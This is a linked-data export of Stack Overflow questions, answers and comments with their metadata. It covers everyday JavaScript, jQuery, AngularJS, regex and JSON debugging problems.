has body: please note that you are using: $('#errorMsg').innerHTML("Emails need to be the same!"); if you try to alert $('#errorMsg').innerHTML it will be undefined. When you using JQuery selectors $('#errorMsg') JQuery will wrap the dom object with JQuery dom object that own JQuery special methods(val, html, etc), so you don't have access to the core method innerHTML, instead you should use: $('#errorMsg').html("Emails need to be the same!"); Enjoy!
score: 1
accepted answer of: http://stackoverflow.com/q/25827391
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/25827391

http://stackoverflow.com/comment/40436361
type: AnswerComment
has text: they make perfect sense :) It's not a good practise to use it in it's state. Everybody should know what it is, and how to use it, but not use it in it's state.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25789731

http://stackoverflow.com/comment/40390431
comment on: http://stackoverflow.com/q/25819004
type: Comment
type: QuestionComment
has text: Local symbols you don't expose explicitly are unreachable as soon as you leave a scope.
score: 0

http://stackoverflow.com/comment/40430055
score: 1
has text: I once programmed something a little like this. It wasn't easy. I used Libpoppler.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25840758

http://stackoverflow.com/comment/40262199
type: AnswerComment
comment on: http://stackoverflow.com/a/25749195
has text: if you send the 250 as a string, you need to put 'px' right ? .css({"width":"250px !important"});
score: 0
type: Comment

http://stackoverflow.com/a/25789920
has body: See http://jsfiddle.net/rx5orekb/1/ It's happening because every time there's a new change event on the select you're binding to form submit. First time you click on 'add new' you're binding to form submit, 2nd time 'add new' is selected you bind to form submit a 2nd time, so on. Use form.unbind('submit'); to unbind the submit on the form.
type: Answer
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/40336299
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25789723
answers question: http://stackoverflow.com/q/25789723
upvote count: 1

http://stackoverflow.com/comment/40200212
score: 0
type: AnswerComment
type: Comment
has text: Hi, I'm new to regexp and am having trouble understanding capture parentheses. According the the MDN, this would match '3[^3]*' but not remember the match. What exactly does this mean?
comment on: http://stackoverflow.com/a/25715717

http://stackoverflow.com/a/25842721
answers question: http://stackoverflow.com/q/25842424
has comment: http://stackoverflow.com/comment/40434327
has comment: http://stackoverflow.com/comment/40434503
score: 0
type: Answer
has body: You can use the java.util.Map&lt;String, String&gt; to store the String values as key and value pairs in your Servlet. Like, Map&lt;String, String&gt; json = new HashMap&lt;String, String&gt;(); json.put("fileId", fileId); json.put("name", fileName); and return the String by converting this Map into String using, org.codehaus.jackson.map.ObjectMapper. return new ObjectMapper().writeValueAsString(json); // this will return String to retrieve the key value pairs in your Ajax response in success method, success: function(response) { console.log(response.fileId); console.log(response.fileName); }

http://stackoverflow.com/q/25825698
has answer: http://stackoverflow.com/a/25825732
tagged with: javascript
has answer: http://stackoverflow.com/a/25825719
has comment: http://stackoverflow.com/comment/40402013
score: 0
possible better answer: http://stackoverflow.com/a/25825743
tagged with: radio-button
has answer: http://stackoverflow.com/a/25825743
has answer: http://stackoverflow.com/a/25826004
has title: how to make 'input.radio' to be not checked in if statements?
answer count: 5
type: AnsweredQuestion
has body: fiddle : http://fiddle.jshell.net/12dkswgd/ I'm trying to choose a gender by elem 'input.radio' So I made some if sentences, but it's not working. I don't know why. Belows are codes that I made. it's not working. You can see more easier at fiddle : http://fiddle.jshell.net/12dkswgd/ html : male female js : /* these sentences are not working a = document.getElementById('a'); b = document.getElementById('b'); if(a.checked) {b.checked = false} if(b.checked) {a.checked = false} */ /* these sentences are not working, either. if(document.getElementById('a').checked) { document.getElementById('b').checked = false } else if(document.getElementById('b').checked) { document.getElementById('a').checked = false } */ /* this sentence is working. */ document.getElementById('a').checked = true;
accepted answer: http://stackoverflow.com/a/25826004
has answer: http://stackoverflow.com/a/25825724
type: Question
has comment: http://stackoverflow.com/comment/40402049
has comment: http://stackoverflow.com/comment/40402500

http://stackoverflow.com/comment/40366907
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25785533
has text: I fear you'll need to change that on your code and load your scripts normally instead of doing it through the AJAX call
type: AnswerComment

http://stackoverflow.com/comment/40226972
comment on: http://stackoverflow.com/q/25729932
score: 0
type: Comment
type: QuestionComment
has text: Sorry, didn't paste the correct url to the jsfiddle. It's there now.

http://stackoverflow.com/comment/40463074
score: 0
type: Comment
type: QuestionComment
has text: It doesn't work. I thought that setting the active navbar link would promote two way databinding for $scope.active. From what I've read I need to use $watch? but I don't know where I should be using it, especially with articles that say not use it in controllers due to poor testability.
comment on: http://stackoverflow.com/q/25858787

http://stackoverflow.com/q/25824967
tagged with: sails.js
tagged with: javascript
has body: I seek something of this nature //validation rules in model "User" attributes: { age: { required: true, type: 'numeric' } }, //now in controller, i want to be able to do this Recipe.validate({age: 'An invalid age because it is a string. I except a validation error as response'}); Problem is, it doesn't work.. it complains about beforeValidate not being available, e.t.c
tagged with: sails-mongo
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/40401039
favorite count: 0
has title: How can I validate a record only without saving in nodejs | sailsjs | waterline
upvote count: 2
tagged with: node.js
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25858199
tagged with: waterline
accepted answer: http://stackoverflow.com/a/25858199
type: Question

http://stackoverflow.com/q/25769920
has body: This is somewhat a follow-up to Repeating module name for each module component question. We've decided to follow the suggested in Best Practice Recommendations for Angular App Structure blog post angular project organization and naming conventions while building a small internal application for measuring connection quality. And this is what we've got at the moment: $ tree -L 1 . ├── app-config-service.js ├── app-config-service_test.js ├── app-connection-service.js ├── app-connection-service_test.js ├── app-controller.js ├── app-controller_test.js ├── app-countdown-directive.js ├── app-countdown-directive_test.js ├── app-footer-directive.js ├── app-footer-directive_test.js ├── app-footer-service.js ├── app-footer-service_test.js ├── app-math-service.js ├── app-math-service_test.js ├── app-stats-directive.js ├── app-stats-directive_test.js ├── app-status-directive.js ├── app-status-directive_test.js ├── app-status-service.js ├── app-status-service_test.js ├── app-time-directive.js ├── app-time-directive_test.js ├── app.css ├── app.js ├── bower_components ├── config.json ├── countdown.html ├── footer.html ├── img ├── index.html ├── ping ├── stats.html └── status.html As you can see, there are several directives, services, partials, single controller, module declaration file and couple config and app-specific unrelated to the topic files. This really becomes a mess of files and is not quite readable and easy to work with. This is probably because we have only one single module and keep everything inside it. Is it okay to use the good old component-oriented approach and have special directories for services, controllers, directives and partials for such a simple app? Does this mean that the new "Organized by feature" approach work only for non-trivial huge applications?
has answer: http://stackoverflow.com/a/25950203
has answer: http://stackoverflow.com/a/25959777
has answer: http://stackoverflow.com/a/25970193
tagged with: javascript
answer count: 6
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40314867
has comment: http://stackoverflow.com/comment/40314499
has answer: http://stackoverflow.com/a/25783299
accepted answer: http://stackoverflow.com/a/25783299
downvote count: 1
upvote count: 4
favorite count: 0
has comment: http://stackoverflow.com/comment/40303495
has answer: http://stackoverflow.com/a/25947716
possible better answer: http://stackoverflow.com/a/25778519
has answer: http://stackoverflow.com/a/25778519
type: AnsweredQuestion
score: 3
tagged with: naming-conventions
has comment: http://stackoverflow.com/comment/40317646
has title: Project organization and naming conventions
linked to: http://stackoverflow.com/q/25005897
has comment: http://stackoverflow.com/comment/40300157
type: Question

http://stackoverflow.com/q/25809131
has answer: http://stackoverflow.com/a/25809473
tagged with: asp.net-mvc
tagged with: javascript
has comment: http://stackoverflow.com/comment/40371167
has comment: http://stackoverflow.com/comment/40371215
score: 0
answer count: 2
has title: Undefined property knockout.js + mvc
has comment: http://stackoverflow.com/comment/40371639
has body: I have a masterDetails view that I populate with some data from a db (it populates fine). I added a button to the master details view, to add a step to my workflow. My Viewmodel: /// &lt;reference path="_references.js" /&gt; var viewModel = function (data) { var self = this; self.SelectedWorkflow = ko.observable({ Steps: ko.observableArray([]), Name: ko.observable("") }); self.Workflows = ko.observableArray(data); self.addStep = function() { self.Steps.push(new Step(SelectedWorkflow, "Assignment here", "01/01/2014", "dd:mm:ss", "mail")); }; }; function Step(workflow,assignment, enddate, reminder, mailaddresses, type) { var self = this; self.Workflow = workflow; self.StepNumber = 0; self.Assignment = assignment; self.Enddate = enddate; self.Reminder = reminder; self.MailAddresses = mailaddresses; self.Type = type; }; /// &lt;reference path="workflowdetails-vm.js" /&gt; $(document).ready(function () { $.ajax({ url: "/WorkflowDetails/Index/", type: "POST", data: {}, success: function (data) { var workflowlist = ko.mapping.fromJS(data.Workflows); vm = new viewModel(workflowlist); ko.applyBindings(vm); } }); $(".right-aligned-section").hide(); }); $(document).delegate(".show-details", "click", function () { $(".right-aligned-section").fadeIn(); var workflow = ko.dataFor(this); vm.SelectedWorkflow(workflow); }); My View: &lt;div class="left-aligned-section"&gt; &lt;ul data-bind="foreach: Workflows()"&gt; &lt;li&gt; &lt;div class="workflow-item-border"&gt; &lt;div&gt; &lt;label data-bind="text: Name"&gt;&lt;/label&gt; &lt;/div&gt; &lt;div&gt; &lt;label data-bind="text: StartDate"&gt;&lt;/label&gt; &lt;/div&gt; &lt;div&gt; &lt;a href="#" class="show-details"&gt;Show Details&lt;/a&gt; &lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;div class="right-aligned-section" data-bind="with: SelectedWorkflow"&gt; &lt;div class="steps-header"&gt; &lt;div class="left-aligned-div"&gt;&lt;strong&gt;Steps for&amp;nbsp;&lt;/strong&gt;&lt;/div&gt; &lt;div class="left-align…
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40371614
tagged with: knockout.js
has answer: http://stackoverflow.com/a/25809295
type: Question
has comment: http://stackoverflow.com/comment/40371339

http://stackoverflow.com/q/25780705
tagged with: code-formatting
tagged with: ruby-on-rails
has body: I want to save code into a simple model in Rails 4.1. Right now I'm saving the ACE data into a Rails form text area, which is put into a text field of my model. However, when I try to show the code in my index view, the code has line breaks and formatting removed. The documentation for jQuery-ace talks about access to the ACE instance, but I'm not really sure what that means or how to use it with a Rails model. This is the code in the documentation: // Decorator var decorator = $('.my-code-area').data('ace'); // ACE Code Editor instance var aceInstance = decorator.ace; I would guess that this returns a special Javascript object which includes "code" formatting such as line breaks. How can I use Rails to capture that information into my model, and then be able to regurgitate in a view someplace else? Currently I'm instantiating the editor in a Rails form_for, like this: &lt;%= f.text_area :content, class: "my-code-area", rows: "8", style: "width: 100%" %&gt; &lt;script&gt; $('.my-code-area').ace({ theme: 'twilight', lang: 'ruby' }) &lt;/script&gt; Do I have to use the previously mentioned Javascript and also add some Javascript object to my Rails model, or something along those lines? Or do I also need to use ACE when I do my views?
type: AnsweredQuestion
score: 0
type: Question
has answer: http://stackoverflow.com/a/25781474
tagged with: javascript
tagged with: jquery
answer count: 1
has title: How to save ACE Code Editor data into a Rails model?
accepted answer: http://stackoverflow.com/a/25781474

http://stackoverflow.com/q/25772403
downvote count: 1
has comment: http://stackoverflow.com/comment/40305200
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/25773092
has comment: http://stackoverflow.com/comment/53490574
possible better answer: http://stackoverflow.com/a/25773092
type: Question
upvote count: 4
answer count: 2
accepted answer: http://stackoverflow.com/a/25772757
tagged with: javascript
favorite count: 0
tagged with: angularjs
has title: AngularJS $window.confirm not working in Chrome
has body: angular.module('myApp') .controller('pancakeController', ['$scope', '$window', function($scope, $window) { $scope.panCakes = []; $scope.removePancake = function(index) { if($window.confirm('are you sure?')) { $scope.panCakes.splice(index, 1); } else { $scope.panCakes.splice(index, 1); } }; }]); myApp is already defined in another file. I'm using angular.module('myApp') to grab a reference to it. Trying to use window.confirm() to confirm the user before deleting a panCake but the confrim box does not popup in Chrome 37.0.2062.94 but does work in Chrome Canary. I'm using the AngularJS $window object, but using regular window.confirm does not work either. Is there something that I'm missing in my code or is just a bug in that particular version of Chrome?
has answer: http://stackoverflow.com/a/25772757

http://stackoverflow.com/q/25741725
tagged with: http://stackoverflow.com/tag/html
tagged with: silverlight
has comment: http://stackoverflow.com/comment/40248890
type: UnansweredQuestion
has title: Alert user in browser of activity in separate tab
type: Question
tagged with: signalr
has answer: http://stackoverflow.com/a/25766142
has body: We are using a Silverlight application together with a third party dashboard tool, both running in separate tabs. When we click in the dashboard we use SignalR to communicate with the Silverlight application. Whenever this happens, we want to highlight the tab of the Silverlight application, however we do not want to use an alert box because this requires the user to do an extra click. Is there a way we can trigger an alert box in the Silverlight application (or html page it is running in) to do an alert that disappears after x seconds? Either we want a focus on the tab of the Silverlight application (however this is browser blocked) or have a tab highlight which, besides clicking the tab, does not require any user interaction. The application is browser independent.
answer count: 2
has answer: http://stackoverflow.com/a/25749837
tagged with: javascript
has comment: http://stackoverflow.com/comment/40253703
tagged with: jquery
score: 0

http://stackoverflow.com/comment/40341853
has text: @Parody you're welcome. You asked once. But this question is asked by different people many times per each day :)
type: Comment
score: 0
comment on: http://stackoverflow.com/q/25792794
type: QuestionComment

http://stackoverflow.com/a/30330023
has comment: http://stackoverflow.com/comment/48762386
score: -3
type: Answer
upvote count: 9
has body: readyState property sets to 1 when connection is successful hence it can be used to determine the connection state , socket connection usually takes &lt; 1 sec , so we can safely take 3 sec gap and then check the connection state. Following is the code : this.ws = new WebSocket('ws://xxx:nn'); setTimeout(() =&gt; { if (this.ws.readyState !== 1) { alert("Problem connection , kindly contact system admin ."); } }, 3000);
downvote count: 12
has comment: http://stackoverflow.com/comment/118165705
answers question: http://stackoverflow.com/q/25779831

http://stackoverflow.com/comment/40249188
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25742086
score: 0
has text: Why should this not work for the app-scoped user id? In my test it seems to work just fine. So what exactly have you tried?

http://stackoverflow.com/q/25868463
score: 0
type: Question
tagged with: javascript
has title: Regex match being overwritten
has body: I'm trying to sanitise a phone number using Regex. I don't want any separating characters between digits and I don't want the local (0) part. Separators could be any non-digit character. ie. the number could be: +44 (00) 845 740 4404 +44-(00)-845-740-4404 +44-(00)-845-740=4404 (unlikely but could be a typo) This matches the (0) part fine: http://regex101.com/r/cB6hN4/3 But if I add |\D+ to match a non-digit character, it overwrites my first match: http://regex101.com/r/cB6hN4/2 How do I keep both matches within in the one regex?
answer count: 2
has answer: http://stackoverflow.com/a/25868554
accepted answer: http://stackoverflow.com/a/25868554
possible better answer: http://stackoverflow.com/a/25868569
tagged with: regex
has answer: http://stackoverflow.com/a/25868569
has comment: http://stackoverflow.com/comment/40479798
type: AnsweredQuestion

http://stackoverflow.com/comment/40395104
score: 0
type: AnswerComment
has text: Ok, I will waiting for you.
comment on: http://stackoverflow.com/a/25821733
type: Comment

http://stackoverflow.com/a/25802183
type: Answer
answers question: http://stackoverflow.com/q/25802119
downvote count: 0
score: 1
has body: You have additional ) while closing dialogopen function, You need to remove it function dialogopen() { alert("hello new"); $("#dialog").dialog("open"); //}); }; //Removed ) in this line Also you should use Event Delegation using .on() delegated-events approach for dynamic elements instead of inline event handlers. i.e. $(document).on('event','selector',callback_function) Example $(document).on('click', ".btn-info", function(){ $("#dialog").dialog("open"); }); DEMO
has comment: http://stackoverflow.com/comment/40359512
has comment: http://stackoverflow.com/comment/40359529
upvote count: 1

http://stackoverflow.com/comment/40458851
comment on: http://stackoverflow.com/q/25856704
has text: This is not how javascript works. You have not declared an array and you can't access DOM elements like that.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/25724015
has comment: http://stackoverflow.com/comment/40218631
tagged with: javascript
upvote count: 1
answer count: 1
has title: How to use jQuery Deferred functionality instead of async.waterfall?
tagged with: asynchronous
favorite count: 0
tagged with: promise
linked to: http://stackoverflow.com/q/22519784
type: AnsweredQuestion
downvote count: 0
score: 1
has body: I have a chain of function calls and use async.waterfall. It works like a charm. But I'd like to do it with jQuery Deferred. How to transform my code? The example from jQuery site is like this. Both results are passed to done function: $.when( $.ajax( "/page1.php" ), $.ajax( "/page2.php" ) ).done(function( a1, a2 ) { // a1 and a2 are arguments resolved for the page1 and page2 ajax requests, respectively. // Each argument is an array with the following structure: [ data, statusText, jqXHR ] var data = a1[ 0 ] + a2[ 0 ]; // a1[ 0 ] = "Whip", a2[ 0 ] = " It" if ( /Whip It/.test( data ) ) { alert( "We got what we came for!" ); } }); But my code is different. I need to pass a callback to every step of a waterfall and I have ifs in callbacks. How to implement it with jQuery? Is it possible? async.waterfall([ function(cb) { VK.Api.call('users.get', {user_ids: res.session.mid, fields: fields}, function(userDataRes) { cb(null, userDataRes); }); }, function(userDataRes, cb) { if(userDataRes.response[0].city) { VK.Api.call('database.getCitiesById', {city_ids: userDataRes.response[0].city}, function(cityDataRes) { cb(null, userDataRes, {city: cityDataRes.response[0].name}); }); } else { cb(null, userDataRes, {}); } }, function(userDataRes, cityDataRes, cb) { if(userDataRes.response[0].country) { VK.Api.call("database.getCountriesById", {country_ids: userDataRes.response[0].country}, function(countryDataRes) { cb(null, userDataRes, cityDataRes, {country: countryDataRes.response[0].name}); }); } else { cb(null, userDataRes, {}, {}); } }, function(userDataRes, cityDataRes, countryDataRes, cb) { var resObj = $.extend(true, {}, userDataRes.response[0], cityDataRes, countryDataRes); cb(null, resObj); }, ], function(err, res) { console.log("res::: ", res); } ); UPD 1: So, I've implemented a solution, but it doesn't work as expected. There is an asynchronous API function call in .then() and jQuery deferred flow is broken there. I don't know how to make a .then() function as an API call…
type: Question
has answer: http://stackoverflow.com/a/25767971
accepted answer: http://stackoverflow.com/a/25767971
has comment: http://stackoverflow.com/comment/40217576
tagged with: jquery-deferred

http://stackoverflow.com/comment/40375237
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25811252
score: 0
has text: http://stackoverflow.com/questions/605630/how-to-select-html-nodes-by-id-with-jquery-when-the-id-contains-a-dot

http://stackoverflow.com/comment/121188384
score: 0
type: Comment
comment on: http://stackoverflow.com/a/30598421
has text: It's bad style to have the gejsonLayer as 'global' variable. Just pass it as parameter to the function and it would be reusable. Otherwise you could just delete the function and everthing would work the same way.
type: AnswerComment

http://stackoverflow.com/comment/40356104
score: 0
type: Comment
type: QuestionComment
has text: I don't get it. What is the problem, exactly?
comment on: http://stackoverflow.com/q/25800237

http://stackoverflow.com/comment/133903528
comment on: http://stackoverflow.com/a/75885358
has text: Good idea. But its explicit asked to count spaces at the beginning of the string. So why not use `trimStart()` instead of `trim()`?
type: Comment
score: 0
type: AnswerComment

waveform
tag name: waveform
type: Tag
tags question: http://stackoverflow.com/q/25836447

http://stackoverflow.com/a/25773356
has comment: http://stackoverflow.com/comment/40306587
type: Answer
answers question: http://stackoverflow.com/q/25773167
has body: another way to stop the link being followed, is to call preventDefault() on the click event. $('#test').click(function( e ){ e.preventDefault(); $.ajax({ ... }); });
score: 0
has comment: http://stackoverflow.com/comment/40306431

http://stackoverflow.com/a/25821113
score: 0
answers question: http://stackoverflow.com/q/25820276
type: Answer
has body: (.*?)\..*?\/(.*)\/(.*)$ You can try this regex to get the form you want. Replace by : $1://$2$3 See demo. http://regex101.com/r/lU7jH1/1

http://stackoverflow.com/q/25856959
has answer: http://stackoverflow.com/a/25857211
has body: I have a string like this: string = '{ "key": [ { "foo": "bar" } ] }'; This string is converted into a JSON object by doing json = $.parseJSON(string); and then it looks like this: { "key": { "0": { "foo": "bar" } } } So it seems like the array was converted into a hash. The desired outcome would instead be: { "key": [ { "foo": "bar" } ] } What's the best way to achieve this? Background: I am posting JSON data to a URL but need the array to stay intact so the recipient can parse it accordingly. Update Here is what I see in a console of Chrome 37.0.2062.120 and jQuery 1.11.1: It looks like an array, but is really just another hash with a key of "0". Or am I getting something wrong? Update 2 After converting the string into a JSON update I am posting it to a url: $.ajax({ url: 'http://test.com', data: json, dataType: 'jsonp', type: 'post' }) where it arrives as { "key": { "0": { "foo": "bar" } } }
has comment: http://stackoverflow.com/comment/40459578
has comment: http://stackoverflow.com/comment/40459499
possible better answer: http://stackoverflow.com/a/25857171
has comment: http://stackoverflow.com/comment/40459346
has comment: http://stackoverflow.com/comment/40459888
has answer: http://stackoverflow.com/a/25857171
has comment: http://stackoverflow.com/comment/40460043
type: AnsweredQuestion
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40459823
linked to: http://stackoverflow.com/q/6410810
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/40459824
type: Question
has title: Parsing JSON with jQuery turns array into hash
has comment: http://stackoverflow.com/comment/40460110
tagged with: arrays
has comment: http://stackoverflow.com/comment/40459915
has comment: http://stackoverflow.com/comment/40459563
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40459747
upvote count: 2
has comment: http://stackoverflow.com/comment/40460090
has comment: http://stackoverflow.com/comment/40459764
answer count: 3
has answer: http://stackoverflow.com/a/25857430
accepted answer: http://stackoverflow.com/a/25857430
favorite count: 0

http://stackoverflow.com/comment/40457619
comment on: http://stackoverflow.com/q/25855792
score: 0
type: Comment
type: QuestionComment
has text: Thanks guys/girls for the suggestions/answers. My apologizes; All this is a learning process for me. I'll treat as XML and loop through it. Thanks for the feedback guys/girls.

http://stackoverflow.com/a/25834687
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25834616
type: Answer
has comment: http://stackoverflow.com/comment/40418246
answers question: http://stackoverflow.com/q/25834616
downvote count: 0
has comment: http://stackoverflow.com/comment/40418671
has comment: http://stackoverflow.com/comment/40418333
score: 3
has body: In the image you can notice Function.prototype's __ proto __ property point to Object.prototype. But that is not what you tested! You tested Function.__proto__, which is actually equal to Function.prototype. Try this instead: console.log(Function.prototype.__proto__ === Object.prototype);
upvote count: 3

http://stackoverflow.com/comment/40269499
type: AnswerComment
comment on: http://stackoverflow.com/a/25752746
type: Comment
has text: It should be `compiledHtml[0]`.
score: 1

http://stackoverflow.com/comment/40317385
has text: Checkout.js only creates tokens. You have to get the amount to your server to make the charge. If you're pulling that from the data-amount attribute or from an input element, it doesn't really matter, as long as your server gets the amount and the token.
comment on: http://stackoverflow.com/a/25779029
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40288576
comment on: http://stackoverflow.com/q/25758969
type: Comment
type: QuestionComment
has text: @kannanD.S I am not sure about btoa, but you can directly convert the bytes to base64 by using `"data:image/png;base64," + Convert.ToBase64String(YOUR BYTES)`
score: 0

http://stackoverflow.com/q/25781066
has comment: http://stackoverflow.com/comment/40321076
tagged with: cookies
has comment: http://stackoverflow.com/comment/40342065
tagged with: webview
type: Question
tagged with: javascript
has body: I am struggling with using cookie along with javascript in webview android. I have one HTML page which is located in sdcard data. This html file consist of javasript and cookie. I need to load this html file in webview and webview needs to respond to javascript as well as cookie. Work done so far:- Enabled javascript for webview WebView1.getSettings().setJavaScriptEnabled(true); Also tried to enable cookie using CookieManager CookieManager.getInstance().setAcceptCookie(true); Doing this, webview respond to javascript but not cookies. Any Idea how to solve this problem? HTML file is as follows No JavaScript! Next Page When i open this File in browser, its working fine. If someone wants to open this file in browser then please use the following url https://www.ypsid.com/demo/test/test-1.html
score: 0
tagged with: http://stackoverflow.com/tag/html
answer count: 1
type: UnansweredQuestion
tagged with: android
has title: Cookie in Webview android
has answer: http://stackoverflow.com/a/41800256
has comment: http://stackoverflow.com/comment/40322910

http://stackoverflow.com/a/25767984
accepted answer of: http://stackoverflow.com/q/25767937
type: Answer
answers question: http://stackoverflow.com/q/25767937
score: 5
upvote count: 5
has body: You probably need to replace: f = parseInt(document.getElementById("celsiusTemp").value); With: f = parseInt(document.getElementById("fahreheitTemp").value); If you click the Calc Celsius button, it will try to get a value from the Celsius field. If that's empty, the parseInt will return NaN: isNaN(parseInt("")) === true
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40474739
type: QuestionComment
has text: with 'body' not work because I have several div with absolute positioning, otherwise it would be the perfect solution. I solved by adding a wrapper div width and height 100% under container and attacking it the mouseup event. Thanks to all
comment on: http://stackoverflow.com/q/25849264
score: 0
type: Comment

http://stackoverflow.com/comment/40367669
comment on: http://stackoverflow.com/q/25806721
has text: What does item.id resolve to? Shouldn't it be just item?
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/q/25778739
tagged with: javascript
tagged with: jquery
upvote count: 19
has answer: http://stackoverflow.com/a/45124779
favorite count: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/27443376
has title: Loading values into Selectize.js
accepted answer: http://stackoverflow.com/a/25779822
downvote count: 0
linked to: http://stackoverflow.com/q/46802064
tagged with: selectize.js
score: 19
has answer: http://stackoverflow.com/a/25779822
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40317208
tagged with: http://stackoverflow.com/tag/json
has answer: http://stackoverflow.com/a/27443376
has body: Problem I have a text input that I have selectized as tags which works fine for querying remote data, I can search and even create new items using it and that all works OK. Using selectize: var $select = $('.authorsearch').selectize({ valueField: 'AuthorId', labelField: 'AuthorName', searchField: ['AuthorName'], maxOptions: 10, create: function (input, callback) { $.ajax({ url: '/Author/AjaxCreate', data: { 'AuthorName': input }, type: 'POST', dataType: 'json', success: function (response) { return callback(response); } }); }, render: { option: function (item, escape) { return '&lt;div&gt;' + escape(item.AuthorName) + '&lt;/div&gt;'; } }, load: function (query, callback) { if (!query.length) return callback(); $.ajax({ url: '/Author/SearchAuthorsByName/' + query, type: 'POST', dataType: 'json', data: { maxresults: 10 }, error: function () { callback(); }, success: function (res) { callback(res); } }); } }); The text box: &lt;input class="authorsearch" id="Authors" name="Authors" type="text" value="" /&gt; Examples: Then when I select one (in this case 'apple') it comes up in a badge as you'd expect, and the underlying value of the textbox is a comma separated list of the values of these items. Current Output The problem is when I load a page and want values retrieved from the database to be displayed in the selectized text input as tags, it only loads the values and I can see no way of displaying the displayname instead. &lt;input class="authorsearch" id="Authors" name="Authors" type="text" value="1,3,4" /&gt; Desired Ouput I have tried all sorts of values for the inputs value field to have it load the items as showing their displayname and not their values. Below is an example of a single object being returned as JSON, being able to load a JSON array of these as selectized tags would be ideal. [{"AuthorId":1,"AuthorName":"Test Author"}, {"AuthorId":3,"AuthorName":"Apple"}, {"AuthorId":4,"AuthorName":"Test Author 2"}] How can I go about this? Do I need to form the v…
type: Question

http://stackoverflow.com/comment/40419024
type: QuestionComment
type: Comment
has text: This sounds like something suited to canvas and not SVG at all.
comment on: http://stackoverflow.com/q/25834050
score: 4

http://stackoverflow.com/a/45691856
has body: Modifications are done to the new Slick version 1.7.1. Here is a updated script example: jsfiddle
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25847297

http://stackoverflow.com/comment/40451744
type: Comment
comment on: http://stackoverflow.com/a/25852764
has text: @VIDesignz why do you want to have the html for your concatenation where you could easily use the object itself
score: 0
type: AnswerComment

http://stackoverflow.com/q/25761699
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25761846
has title: Run instagram code after specific interval of time
score: 0
answer count: 2
tagged with: ajax
has body: I want to display the pictures from my Instagram to website. I am successful with the image display part, but when new Images are uploaded with the Tag i have mentioned then I want to display it at without refreshing the browser. I want to just call the code again and again after 1 sec. var feed = new Instafeed({ clientId: 'fd49a37da9f04a47b046395a5d2a8fb9', limit: 17 , get:'tagged', tagName:'kdy14', after: function () { var images = $("#instafeed").find('a'); $.each(images, function(index, image) { var delay = (index * 75) + 'ms'; $(image).css('-webkit-animation-delay', delay); $(image).css('-moz-animation-delay', delay); $(image).css('-ms-animation-delay', delay); $(image).css('-o-animation-delay', delay); $(image).css('animation-delay', delay); $(image).addClass('animated flipInX'); }); }, template: '&lt;a href="{{link}}" target="_blank"&gt;&lt;img src="{{image}}" /&gt;&lt;/a&gt;' }); feed.run(); I want to make this JS run after every 1 sec. How can I so this.
tagged with: instagram
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25761781

http://stackoverflow.com/q/25761408
has title: Issues with removeEventListener() not removing an event, testing under Chrome Externsion
tagged with: google-chrome
has body: I'm calling the following method to set and then remove an input event listener on a DOM element from my Google Chrome extension's content script: //From the global scope gl = { setEventIfNotDoneAlready: function(elmt) { if(elmt.doneAlready) return true; if(!elmt.myEventSet) { elmt.addEventListener('input', gl.onMyInputEvent, true); elmt.myEventSet = true; } return false; }, onMyInputEvent: function(elmt) { elmt.target.doneAlready = true; elmt.target.removeEventListener('input', gl.onMyInputEvent, true); console.log("&gt;&gt;Input fired!"); } }; and then the method above is called as such: var objAll = document.getElementsByTagName("*"); for(var i = 0; i &lt; objAll.length; i++) { if(objAll[i].isContentEditable) { if(gl.setEventIfNotDoneAlready(objAll[i])) { //And so on... } } } I need to point out that the code above is injected into arbitrary pages that the Chrome browser user navigates to. (This is done from a Chrome Extension.) This approach seems to work fine on most pages, except in some cases the removeEventListener doesn't do anything and my onMyInputEvent continues to be called like if nothing was done. Any idea why?
has comment: http://stackoverflow.com/comment/40303445
tagged with: javascript
type: Question
has comment: http://stackoverflow.com/comment/40302628
tagged with: dom-events
tagged with: google-chrome-extension
has comment: http://stackoverflow.com/comment/40311484
has comment: http://stackoverflow.com/comment/40315369
answer count: 0
type: UnansweredQuestion
score: 0

http://stackoverflow.com/q/25827267
score: 0
has body: Okay so I have a table that is dynamically built for my bills. I am wanting to add each amount up together and place them in a grand total. I have the following code for calculating the totals: $('.amount').blur(function () { var total = 0; $('.amount').each(function () { total += $(this).val(); }); $('.total_bills').html(total); }); But it doesn't appear to be doing anything at all. It doesn't even seem to be getting called. My table structure is below: Bill Name Bill Amount Status I have also created a JSFiddle here: http://jsfiddle.net/ux0rsk2q/
type: Question
has answer: http://stackoverflow.com/a/25827321
tagged with: javascript
tagged with: jquery
possible better answer: http://stackoverflow.com/a/25827321
tagged with: http://stackoverflow.com/tag/html
has title: Calculate Total in JavaScript per input in table
has answer: http://stackoverflow.com/a/25827417
has answer: http://stackoverflow.com/a/25827325
has answer: http://stackoverflow.com/a/25828083
answer count: 4
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25827325

http://stackoverflow.com/a/25886582
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25871943
